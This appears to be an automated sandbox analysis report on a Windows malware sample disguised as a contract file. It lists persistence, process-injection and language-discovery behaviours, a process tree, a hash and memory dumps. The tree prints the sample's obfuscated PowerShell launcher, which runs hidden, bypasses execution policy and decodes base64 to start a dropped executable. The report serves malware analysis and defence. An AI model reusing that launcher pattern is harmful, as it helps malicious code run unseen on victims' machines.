Analysis
- max time kernel
299s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
25/08/2026, 04:22
General
- Target Договор.exe
- Size 1.1MB
- Sample260825-ey7ynswgpg
- SHA256 245e7f20bf9864307051fd48335c618069fb57253500010623d851f223de923f
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Договор.exe"C:\Users\Admin\AppData\Local\Temp\Договор.exe"1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4596 -s 13722⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4596 -ip 45961⤵
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$scazvs=[System.Environment]::TickCount;$kovvkv=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$scazvs=[System.Environment]::TickCount;$rzujj1=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEtWbi5leGU=')));$lwsgew=$env:COMPUTERNAME;& $kovvkv -FilePath $rzujj1"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\KVn.exe"C:\Users\Admin\AppData\Roaming\KVn.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\KVn.exe"C:\Users\Admin\AppData\Roaming\KVn.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
KVn.exe
memory/908-29-0x0000000074642000-0x0000000074643000-memory.dmp
memory/908-27-0x0000000074642000-0x0000000074643000-memory.dmp
memory/1628-23-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/1628-13-0x00007FF89F40F000-0x00007FF89F410000-memory.dmp
memory/1628-26-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/1628-22-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/1628-21-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/1628-20-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/1628-19-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/1628-18-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/1628-17-0x00000184AED50000-0x00000184AED72000-memory.dmp
memory/1628-14-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4596-10-0x0000000074642000-0x0000000074643000-memory.dmp
memory/4596-6-0x0000000074630000-0x0000000074DEC000-memory.dmp
memory/4596-11-0x0000000074630000-0x0000000074DEC000-memory.dmp
memory/4596-4-0x0000000005290000-0x000000000529A000-memory.dmp
memory/4596-9-0x0000000005890000-0x00000000058B2000-memory.dmp
memory/4596-8-0x00000000068B0000-0x0000000006C0B000-memory.dmp
memory/4596-7-0x00000000054B0000-0x00000000054D2000-memory.dmp
memory/4596-12-0x00000000082E0000-0x00000000083C8000-memory.dmp
memory/4596-0-0x0000000074642000-0x0000000074643000-memory.dmp
memory/4596-3-0x00000000051F0000-0x0000000005282000-memory.dmp
memory/4596-5-0x00000000053D0000-0x000000000546C000-memory.dmp
memory/4596-2-0x00000000058F0000-0x0000000005EAA000-memory.dmp
memory/4596-28-0x0000000074630000-0x0000000074DEC000-memory.dmp
memory/4596-1-0x0000000000590000-0x00000000006BC000-memory.dmp
memory/5476-30-0x0000000000400000-0x0000000000446000-memory.dmp